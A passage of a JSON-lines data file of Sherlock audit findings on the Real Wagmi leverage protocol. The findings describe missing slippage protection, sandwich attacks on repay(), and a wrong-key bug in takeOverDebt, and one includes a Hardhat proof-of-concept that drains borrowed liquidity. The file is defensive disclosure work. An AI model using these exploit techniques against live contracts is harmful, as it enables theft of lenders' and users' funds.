simulated\n};\n```\nThe 1001 slippage value should revert every time because it basically says that you expect more than 100% of what you should get. I would suggest finding another way to simulate slippage revert.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//003-H/156.md"}} +{"title":"No slippage protection when protocol increaseLiquidity and decreaseLiquidity cause user lose funds.","severity":"major","body":"Silly Chili Crab\n\nhigh\n\n# No slippage protection when protocol increaseLiquidity and decreaseLiquidity cause user lose funds.\n## Summary\n\nNo slippage protection when protocol increaseLiquidity and decreaseLiquidity cause user lose funds.\n\n## Vulnerability Detail\n\nWhen LiquidityManager#_increaseLiquidity called, which then called uniswap v3 INonfungiblePositionManager#increaseLiquidity.\n\nHowever, amount0Min and amount1Min parameters is not set properly, which are used to prevent slippage.\n\nhttps://docs.uniswap.org/contracts/v3/guides/providing-liquidity/increase-liquidity\nhttps://docs.uniswap.org/contracts/v3/guides/providing-liquidity/decrease-liquidity\n\nThese parameters should be checked to create slippage protections.\n\nThose functions are used in LiquidityBorrowingManager#borrow and LiquidityBorrowingManager#repay functions, which could cause protocol lose funds.\n\n## Impact\n\nCause users lose funds when borrow or repay liquidity.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L398-L407\n\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L352-L359\n\n## Tool used\n\nvscode, Manual Review\n\n## Recommendation\n\nImplement slippage protection when call increaseLiquidity and decreaseLiquidity as suggested to avoid to lose to the protocol.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//003-H/114.md"}} +{"title":"Lender can manipulate liquidty value before `borrow` or`repay` to increase the amount borrower needs to repay","severity":"major","body":"Early Blush Yak\n\nhigh\n\n# Lender can manipulate liquidty value before `borrow` or`repay` to increase the amount borrower needs to repay\n## Summary\n\nWhen a borrower calls `repay` or `borrow`, the lender can increase the amount of liquidity the have to pay back by manipulating the Uniswap v3 pool price.\n\n## Vulnerability Details \n\nWhen a borrower calls funds, the uniswap position values the tokens at the current tick price. When a borrower initiates a loan, the lender can push the price so that the hold token is overpriced relative to the swap token. This means that it requires more liquidity for the borrower to pay back the loan. \n\nThe cost of liquidity position, even after exchaning tokens differs at different points in a price curve. \n\nThis means that the borrower ultimately has to pay that inflated liquidity amount to the lender resulting in a large profit for them.\n\n## Impact\n\nLender can steal funds from borrower.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532-L674\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd an optional slippage parameter(s) for `borrow` and `repay` functions to prevent frontrunning manipulation.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//003-H/111.md"}} +{"title":"`repay()` is prone to sandwich attacks","severity":"major","body":"Rough Pearl Wombat\n\nhigh\n\n# `repay()` is prone to sandwich attacks\n## Summary\n\nThe [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) function of the LiquidityBorrowingManager contract is used to close a borrowing position.\n\nWhen called by the borrower itself or by a liquidator bot, the amount of token received by the caller can be less than it should if the transaction is sandwiched. Greatly reducing potential profits for a borrower or liquidator.\n\n## Vulnerability Detail\n\nWhen a position is at profit, the lender can call [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) to close it. If the collateral if negative a liquidator can also call this function to reimburse collateral and profit from the `liquidationBonus` as well as the position's profits.\n\nTo close the position and realize the profits, if a the position is not out of range, a swap is made. Some `holdToken` are swapped for `saleToken` to be able to add the liquidity back to the position in the function [`_restoreLiquidity()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223).\n\nThe current issue is that the minimum amount out of the swap is determined onchain which makes sandwich attacks possible as an MEV bot could bundle our transaction with 2 swaps one before and one after to affect the amount we receive on our swap effectively sandwiching out transaction.\n\nThe bot would make profits from our unrealized profits leading to the borrower or the liquidator to make less or even 0 profits.\n\n## Impact\n\nHigh. If the `repay()` transaction is sandwiched the profits will be greatly reduced.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding an array of `minOut` to the parameters that will be used for each loan swap, reducing the gas cost as we won't need to get a quote anymore as well as protect the users from sandwich attacks.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//003-H/103-best.md"}} +{"title":"Lack of Slippage Control For Liquidity Functions","severity":"major","body":"Early Blush Yak\n\nhigh\n\n# Lack of Slippage Control For Liquidity Functions\n## Summary\n\nThere is no slippage controls for depositing and withdrwaing uniswap liquidity\n\n## Vulnerability Detail\n\nThere is a slippage parameter for swapping `swapSlippageBP1000` that is passed into Uniswap input parameters. However, this is different from liquidity slippage. The swap slippage only limits the price impact of opening and closing a position. However, `amount0Min : 0` and `amount1Min: 0` means there is no slippage protection to price prevent manipulation frontrunning the liquidity deposits and withdrawals.\n\n## Impact\n\nLoss of funds due to slippage when extracting or restoring liquidity in functions such as `borrow` or `repay`\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Constants.sol#L15\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd `amount0Min` and `amount1Min` slippage parameters for liquidity deposits and withdrawals","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//003-H/090.md"}} +{"title":"Slippage controls inside _restoreLiqudity are ineffective allowing repay() calls to be sandwiched and all profits stolen","severity":"major","body":"Ancient Malachite Jay\n\nmedium\n\n# Slippage controls inside _restoreLiqudity are ineffective allowing repay() calls to be sandwiched and all profits stolen\n## Summary\n\nWhen repaying a loan, the user repaying is required to restore the borrowed liquidity to each LP. This is done via swapping the hold to swap token, then using these funds to reconstruct the LP. To establish the `amountOutMinimum` the contract first makes a call to the QuoterV2. Due to the relative nature of this call, it provides no protection against sandwich attacks.\n\n## Vulnerability Detail\n\n[LiquidityManager.sol#L246-L266](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L246-L266)\n\n uint256 saleTokenAmountOut;\n (saleTokenAmountOut, cache.sqrtPriceX96, , ) = underlyingQuoterV2\n .quoteExactInputSingle(\n IQuoterV2.QuoteExactInputSingleParams({\n tokenIn: cache.holdToken,\n tokenOut: cache.saleToken,\n amountIn: holdTokenAmountIn,\n fee: params.fee,\n sqrtPriceLimitX96: 0\n })\n );\n \n // Perform external swap if external swap target is provided\n if (externalSwap.swapTarget != address(0)) {\n _patchAmountsAndCallSwap(\n cache.holdToken,\n cache.saleToken,\n externalSwap,\n holdTokenAmountIn,\n (saleTokenAmountOut * params.slippageBP1000) / Constants.BPS\n );\n\nWhen making a swap, saleTokenAmountOut is first calculated by making a call to QuoterV2. This simulates the transaction directly on the target pool. This is the fundamental problem with this design. If the pool being utilized is sandwich attacked then the expected out will also fall. This creates a larger slippage than intended allowing all user profit to be stolen.\n\nExample:\nAssume a user is closing their position and the current price of ETH is $1600. The user is inputs a reasonable max slippage of 1%. This means the lowest price the user should get is $1584. However, this is not the case. Instead assume that an attacker is observing the mempool. They see the transaction and sandwich attack it. First the sell ETH into the pool lowering the price to $1500. When the user's transaction executes, QuoterV2 will quote the price of ETH as $1500 and therefore the minimum price for the user is now $1485.\n\n## Impact\n\nUser repayments can be sandwich attacked due to ineffective slippage controls\n\n## Code Snippet\n\n[LiquidityManager.sol#L223-L321](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223-L321)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAllow the user to specify an min/max `sqrtPriceLimitX96`. If the pool ever goes above/below that value then revert the call.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//003-H/079.md"}} +{"title":"LiquidityManager.sol _increaseLiquidity() lacks slippage protection","severity":"major","body":"Obedient Misty Tiger\n\nmedium\n\n# LiquidityManager.sol _increaseLiquidity() lacks slippage protection\n## Summary\nLiquidityManager.sol _increaseLiquidity() lacks slippage protection \n## Vulnerability Detail\nIn below instances, a call to Uniswap V3 is made. Calls amount0Min and amount1Min are each set to 0, which allows for a 100% slippage tolerance. This means, that the action could lead to the caller losing up to 100% of their tokens due to slippage.\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L403-L404\nsimilar finding:\nhttps://code4rena.com/reports/2023-05-maia#m-18-a-lack-of-slippage-protection-can-lead-to-a-significant-loss-of-user-funds\n## Impact\nThere is no slippage protection on any of the calls to increase or decrease liquidity, allowing for trades to be subject to MEV-style attacks such as front-running and sandwiching.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L403-L404\n## Tool used\n\nManual Review\n\n## Recommendation\nallow the caller to specify values for amount0Min and amount1Min instead of setting them to 0.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//003-H/055.md"}} +{"title":"Slippage loss because `amount0Min` and `amount1Min` are set to zero","severity":"major","body":"Ambitious Pine Bobcat\n\nhigh\n\n# Slippage loss because `amount0Min` and `amount1Min` are set to zero\n## Summary\nSetting `amount0Min` and `amount1Min` for increasing and adding liquidity can result in loss of funds due to sandwich attack.\n- https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L356-L357\n- https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L403-L404\n\n## Vulnerability Detail\n`amount0Min` and `amount1Min` are set to zero in the links below which indicates that the user is okay with 100% slippage loss. The only check done afterwards is to check that amount received are not zero which can be bypassed by allowing user receive just tiny amount of asset.\n\n```solidity\n INonfungiblePositionManager.DecreaseLiquidityParams({\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: 0, //@audit sliipage loss. \n amount1Min: 0,\n deadline: block.timestamp//@audit deadline.\n })\n```\n```solidity\n INonfungiblePositionManager.IncreaseLiquidityParams({\n tokenId: loan.tokenId,\n amount0Desired: amount0,\n amount1Desired: amount1,\n amount0Min: 0,\n amount1Min: 0,//@audit slippage loss\n deadline: block.timestamp\n })\n```\n## Impact\nLoss of fund due to slippage\n\n## Code Snippet\n```solidity\n INonfungiblePositionManager.IncreaseLiquidityParams({\n tokenId: loan.tokenId,\n amount0Desired: amount0,\n amount1Desired: amount1,\n amount0Min: 0,\n amount1Min: 0,//@audit slippage loss\n deadline: block.timestamp\n })\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nAllow `amount0Min` and `amount1Min` to be passed as input parameter offchain.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//003-H/019.md"}} +{"title":"key is not updated during the transfer of the ownership of a borrowing via takeOverDebt() function","severity":"major","body":"Ancient Daffodil Caribou\n\nmedium\n\n# key is not updated during the transfer of the ownership of a borrowing via takeOverDebt() function\n## Summary\nThe `update bool` will be false when _addKeysAndLoansInfo() is called within takeOverDebt() function.\n\n## Vulnerability Detail\nduring the transfer of the ownership of a borrowing, the tokenIds are supposed to be updated with the new key (i.e, tokenIdLoansKeys[] in `tokenIdToBorrowingKeys` is supposed to be updated with the new key).\n\nBut this won't happen since update bool will be false. And this is due to newBorrowing.borrowedAmount being 0, since it was not updated with oldBorrowing.borrowedAmount.\n\nFor update bool to be true newBorrowing.borrowedAmount has to be > 0\n```solidity\n _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans)\n```\n\n## Impact\n1. tokenIdLoansKeys[] in `tokenIdToBorrowingKeys` won't be updated with new Key during the transfer of the ownership of a borrowing via the takeOverDebt()\n\n2. It won't be possible to retrieve borrowing information for a specific NonfungiblePositionManager tokenId via getLenderCreditsInfo() \n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L440-L441\n## Tool used\n\nManual Review\n\n## Recommendation\nupdate the newBorrowing.borrowedAmount with oldBorrowing.borrowedAmount before the call to _addKeysAndLoansInfo() in the takeOverDebt() function","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/190.md"}} +{"title":"the function takeoverDebt doesn't properly update the liquidator balance","severity":"major","body":"Stale Lead Yeti\n\nhigh\n\n# the function takeoverDebt doesn't properly update the liquidator balance\n## Summary\nthe function takeoverdebt doesn't not properly update the liquidator balance which might lead to fund loss \n## Vulnerability Detail\nthe function **takeoverdebt** is used to liquidate another borrower and transfer the position into the liquidator and when transferring the loan[] using` _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);` it is using the liquidated **borrowingkey** instead of the new one so the loan will will be updated into the previous one so when repaying using the repay function it might not use all the position\n## Impact\nloss of fund\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L441\n## Tool used\n\nManual Review\n\n## Recommendation\nuse **newBorrowingKey** instead of **borrowingKey**","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/188.md"}} +{"title":"the function takeoverDebt doesn't properly update the liquidator balance","severity":"major","body":"Stale Lead Yeti\n\nhigh\n\n# the function takeoverDebt doesn't properly update the liquidator balance\n## Summary\nthe function takeoverdebt doesn't not properly update the liquidator balance\n ## Vulnerability Detail\nthe function takeoverdebt is used to liquidate another borrower and transfer the position into the liquidator and when transferring the loan[] using _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans); it is using the liquidated borrowingkey instead of the new one so the loan will will be updated into the previous one so when repaying using the repay function it might not use all the position\n\n## Impact\nloss of fund\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L441\n## Tool used\n\nManual Review\n\n## Recommendation\nuse **newBorrowingKey** instead of **borrowingKey**","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/187.md"}} +{"title":"the function takeoverDebt doesn't properly update","severity":"major","body":"Stale Lead Yeti\n\nhigh\n\n# the function takeoverDebt doesn't properly update\n## Summary\nthe function **takeoverdebt** doesn't not properly update the liquidator balance ## Vulnerability Detail\nthe function **takeoverdebt** is used to liquidate another borrower and transfer the position into the liquidator and when transferring the loan[] using **_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);** it is using the liquidated **borrowingkey** instead of the new one so the loan will will be updated into the previous one so when repaying using the repay function it might not use all the position \n\n## Impact\nloss of fund \n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nuse **newBorrowingKey**","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/185.md"}} +{"title":"Misuse of Old Borrowing key instead of New Key in takeOverDebt Function","severity":"major","body":"Ancient Frost Albatross\n\nmedium\n\n# Misuse of Old Borrowing key instead of New Key in takeOverDebt Function\n## Summary\n\n\nThe function `takeOverDebt` seems to mistakenly use the `borrowingKey` (which is the old key) instead of the expected `newBorrowingKey` in the `_addKeysAndLoansInfo` method. This can lead to unexpected behavior and potential DoS vulnerabilities, as the platform relies on a specific key format.\n\n## Vulnerability Detail\n\nThe function `takeOverDebt` is responsible for managing borrowing positions. During its execution, a new borrowing position is initialized or updated using the `_initOrUpdateBorrowing` function, which returns a new borrowing key (`newBorrowingKey`). However, subsequent actions are performed using the old borrowing key (`borrowingKey`), leading to inconsistencies in data storage and retrieval.\n\nSpecifically, in the line:\n\n```solidity\n_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);\n```\nThe borrowingKey (old key) is used instead of the newBorrowingKey. Given that the platform expects keys in the format:\nborrowingKey = Keys.computeBorrowingKey(msg.sender, saleToken, holdToken);\nThis inconsistency can lead to unexpected behavior, data corruption, or potential denial-of-service vulnerabilities.\n\n## Impact\n\nThe mismanagement of borrowing keys can lead to:\n\n- Inaccurate tracking of borrowing positions.\n- Potential data corruption, making certain positions inaccessible.\n- Potential DoS attacks if an adversary can manipulate or predict key generation.\n- User mistrust due to unpredictable platform behavior.\n\nThe impact is high, especially for users who can only use the front-end portal to execute the trades.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L441\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdate the takeOverDebt function to use the newBorrowingKey in the _addKeysAndLoansInfo method :\n```solidity\n_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, newBorrowingKey, oldLoans);\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/182.md"}} +{"title":"`takeOverDebt._addKeysAndLoansInfo` function mistakenly updates newBorrowing with the old borrowingKey, enabling attacker to steal loans liquidity","severity":"major","body":"Dry Plum Loris\n\nhigh\n\n# `takeOverDebt._addKeysAndLoansInfo` function mistakenly updates newBorrowing with the old borrowingKey, enabling attacker to steal loans liquidity\n## Summary\nThe `_addKeysAndLoansInfo` function contains a critical vulnerability that could allow a new borrower (the one who takes over the debt) to exploit the system by bypassing the `repay._restoreLiquidity` function and steal the entire borrowed liquidity along with the bonuses, ultimately resulting in a loss of funds for the lenders.\n\n## Vulnerability Detail\nThe root cause of the vulnerability is that the `_addKeysAndLoansInfo` function mistakenly uses the `borrowingKey` instead of the corresponding `newBorrowingKey` when updating the `loansInfo` and `tokenIdLoansKeys` data structures for the new borrower. Due to this oversight, the new borrower's state is not properly updated in the system, causing misalignment between the global states of `borrowingsInfo`, `loansInfo`, etc.\n\n```solidity\n// File: wagmi-leverage/contracts/LiquidityBorrowingManager.sol\n395: function takeOverDebt(bytes32 borrowingKey, uint256 collateralAmt) external {\n ...\n431: (\n432: uint256 feesDebt,\n433: bytes32 newBorrowingKey,\n434: BorrowingInfo storage newBorrowing\n435: ) = _initOrUpdateBorrowing(\n436: oldBorrowing.saleToken,\n437: oldBorrowing.holdToken,\n438: accLoanRatePerSeconds\n439: );\n440: // Add the new borrowing key and old loans to the newBorrowing\n441: _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans); // <= FOUND: borrowingKey was used instead of newBorrowingKey\n ...\n453: }\n```\nAssuming Alice calls `takeOverDebt` to obtain Bob's under-collateral borrow position. Due to the error at line 441, after the call, only `borrowingsInfo` is properly updated with Alice's borrowing key while `loansInfo`, `userBorrowingKeys` and `tokenIdToBorrowingKeys` stored incorrect data derived from Bob's key. This means that any subsequent calls that rely on Alice's borrowing key to read `loansInfo` would result in empty information.\n\n## Impact\nThe impact of this vulnerability is severe as it allows a new borrower to manipulate the system and exploit it for their gain. The key points of impact are as follows:\n\n**Loss of Funds:** \nAssuming Alice has successfully taken over the borrow position and proceeds to call `repay` on that position. As previously stated, a read to loansInfo at line 638 would return empty loans array (provided POC would prove this). Since loans is empty, `_restoreLiquidity` would be skipped so that the entire `borrowing.holdToken` transfered from the `VAULT_ADDRESS` (Line 632) will not be used to restore the liquidity of the lender's NFTs and send everything to Alice instead (Line 669). This causes a severe consequence that the `holdToken` which should be used to restore the loaner's liquidity and pay for the owned borrow fees were lost to Alice. \n```solidity\n// File: wagmi-leverage/contracts/LiquidityBorrowingManager.sol\n532: function repay(\n ...\n632: Vault(VAULT_ADDRESS).transferToken(\n633: borrowing.holdToken,\n634: address(this),\n635: borrowing.borrowedAmount + liquidationBonus\n636: );\n637: // Restore liquidity using the borrowed amount and pay a daily rate fee\n638: LoanInfo[] memory loans = loansInfo[params.borrowingKey];// <= FOUND\n ...\n650: _restoreLiquidity(\n651: RestoreLiquidityParams({\n652: zeroForSaleToken: zeroForSaleToken,\n653: fee: params.internalSwapPoolfee,\n654: slippageBP1000: params.swapSlippageBP1000,\n655: totalfeesOwed: borrowing.feesOwed,\n656: totalBorrowedAmount: borrowing.borrowedAmount\n657: }),\n658: params.externalSwap,\n659: loans\n660: );\n ...\n669: _pay(borrowing.holdToken, address(this), msg.sender, holdTokenBalance);\n674: }\n```\n\n### POC\n```patch\ndiff --git a/wagmi-leverage/test/WagmiLeverageTests.ts b/wagmi-leverage/test/WagmiLeverageTests.ts\nindex 689a56c..3b189dc 100644\n--- a/wagmi-leverage/test/WagmiLeverageTests.ts\n+++ b/wagmi-leverage/test/WagmiLeverageTests.ts\n@@ -1150,6 +1150,71 @@ describe(\"WagmiLeverageTests\", () => {\n expect(borrowingsInfo.borrower).to.be.equal(constants.AddressZero);\n });\n \n+ it(\"takeOverDebt & repay steals all borrow liquidity\", async () => {\n+ snapshot_global.restore();\n+ \n+ const bobBorrowingsCount = await borrowingManager.getBorrowerDebtsCount(bob.address);\n+ const aliceBorrowingsCount = await borrowingManager.getBorrowerDebtsCount(alice.address);\n+ // Make sure Alice has no borrow initially\n+ expect(aliceBorrowingsCount).to.be.eq(0);\n+\n+ let bobDebt: LiquidityBorrowingManager.BorrowingInfoExtStructOutput = (\n+ await borrowingManager.getBorrowerDebtsInfo(bob.address)\n+ )[0];\n+ expect(bobDebt.collateralBalance).to.be.gte(0);\n+ await time.increase(bobDebt.estimatedLifeTime.toNumber() + 10);\n+ bobDebt = (await borrowingManager.getBorrowerDebtsInfo(bob.address))[0];\n+ expect(bobDebt.collateralBalance).to.be.lt(0);\n+\n+ // Alice takes over Bob's borrowing position\n+ const cachedBobBorrowingsInfo = await borrowingManager.borrowingsInfo(bobDebt.key);\n+ let collateralDebt = bobDebt.collateralBalance.abs().div(COLLATERAL_BALANCE_PRECISION).add(1);\n+ await borrowingManager.connect(alice).takeOverDebt(bobDebt.key, collateralDebt.add(5));\n+ expect(await borrowingManager.getBorrowerDebtsCount(bob.address)).to.be.equal(bobBorrowingsCount.sub(1));\n+ expect(await borrowingManager.getBorrowerDebtsCount(alice.address)).to.be.equal(aliceBorrowingsCount.add(1));\n+ const bobBorrowingsInfo = await borrowingManager.borrowingsInfo(bobDebt.key);\n+ expect(bobBorrowingsInfo.borrower).to.be.equal(constants.AddressZero);\n+ const aliceBorrowKey = ethers.utils.solidityKeccak256(\n+ [\"address\", \"address\", \"address\"], \n+ [alice.address, cachedBobBorrowingsInfo.saleToken, cachedBobBorrowingsInfo.holdToken]).toString();\n+ const aliceBorrowingsInfo = await borrowingManager.borrowingsInfo(aliceBorrowKey);\n+ expect(aliceBorrowingsInfo.borrower).to.be.equal(alice.address);\n+ expect(aliceBorrowingsInfo.borrowedAmount).to.be.gte(cachedBobBorrowingsInfo.borrowedAmount);\n+ \n+ // Error 1: Alice's userBorrowingKeys stores Bob's key\n+ // causing getBorrowerDebtsInfo to returns wrong debt info\n+ let storedAliceDebt = (await borrowingManager.getBorrowerDebtsInfo(alice.address))[0];\n+ console.log(\"Alice's expected borrowing key:\", aliceBorrowKey)\n+ console.log(\"Alice's recorded borrowing key:\", storedAliceDebt.key);\n+\n+ // Error 2: Alice has empty loansInfo\n+ const loansInfo: LiquidityManager.LoanInfoStructOutput[] = await borrowingManager.getLoansInfo(aliceBorrowKey);\n+ console.log(\"Alice's loansInfo length:\", loansInfo.length);\n+\n+ // Error 3: Alice steals all borrowed liquidity via repay \n+ // since _restoreLiquidity is skipped due to empty loansInfo\n+ const deadline = (await time.latest()) + 60;\n+ const swapParams: ApproveSwapAndPay.SwapParamsStruct = {\n+ swapTarget: constants.AddressZero,\n+ swapAmountInDataIndex: 0,\n+ maxGasForCall: 0,\n+ swapData: swapData,\n+ };\n+ let params: LiquidityBorrowingManager.RepayParamsStruct = {\n+ isEmergency: false,\n+ internalSwapPoolfee: 500,\n+ externalSwap: swapParams,\n+ borrowingKey: aliceBorrowKey,\n+ swapSlippageBP1000: 990, //1%\n+ };\n+ const aliceBalanceBefore = await getERC20Balance(cachedBobBorrowingsInfo.holdToken, alice.address);\n+ await borrowingManager.connect(alice).repay(params, deadline);\n+ const aliceBalanceAfter = await getERC20Balance(cachedBobBorrowingsInfo.holdToken, alice.address);\n+ expect(aliceBalanceAfter).to.be.approximately(aliceBalanceBefore\n+ .add(cachedBobBorrowingsInfo.borrowedAmount)\n+ .add(cachedBobBorrowingsInfo.liquidationBonus), 5);\n+ });\n+\n it(\"increase the collateral balance should be correct\", async () => {\n snapshot_global.restore();\n const key = await borrowingManager.userBorrowingKeys(bob.address, 1);\n\n```\n\nResult:\n> ✔ takeOverDebt & repay steals all borrow liquidity\n> Alice's expected borrowing key: 0x09d2fdcd4da67a701a842deba011fc2de8068d3aa721f095353b3397862326af\n> Alice's recorded borrowing key: 0xa3668144c44aa5a2afe3badb4c4cf7c621fee77a9fd0a93cc1886e6168a89388\n> Alice's loansInfo length: 0\n\nThe POC result confirms that the wrong Alice borrowing key was used to update `loansInfo` which makes reading back with the right key result in empty `loansInfo`. It also shows that after calling `takeOverDebt` and later `repay`, Alice has successfully stolen an amount of roughly `borrowedAmount` + `liquidationBonus` which are mostly owned by the loan owners as Uniswap v3 NFTs.\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L441\n\n## Tool used\nVscode + hardhat test\n\n## Recommendation\nTo address this vulnerability and prevent potential abuse, it is recommended to update the `_addKeysAndLoansInfo` function to use the correct `newBorrowingKey`. The line in question should be modified as follows:\n\n```patch\n- _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);\n+ _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, newBorrowingKey, oldLoans);\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/168.md"}} +{"title":"Usage of the Wrong borrowing key inside the takeOverDebt() can cause borrowers to lose funds","severity":"major","body":"Jumpy Arctic Turkey\n\nhigh\n\n# Usage of the Wrong borrowing key inside the takeOverDebt() can cause borrowers to lose funds\n## Summary\nUsage of the Wrong borrowing key inside the takeOverDebt() can cause borrowers to lose funds.\n## Vulnerability Detail\nthe takeOverDebt() function is used to take over debt by transferring ownership of borrowing to the current caller. It clears the old borrower's loan from storage.\n\n```solidity\n// Retrieve the old loans associated with the borrowing key and remove them from storage\n LoanInfo[] memory oldLoans = loansInfo[borrowingKey];\n _removeKeysAndClearStorage(oldBorrowing.borrower, borrowingKey, oldLoans);\n```\n\nAfter that, it initializes and creates a new borrowing key with the [_initOrUpdateBorrowing()](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L430-L439) function. To correctly update the borrow with loan information, it uses the _addKeysAndLoansInfo() function. \n\n```solidity\n // Add the new borrowing key and old loans to the newBorrowing\n _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);\n```\n\nThe _addKeysAndLoansInfo() function is called with the old borrowing key, resulting in loan information being pushed to the wrong array.\n\n```solidity\n// Get the storage reference to the loans array for the borrowing key\n LoanInfo[] storage loans = 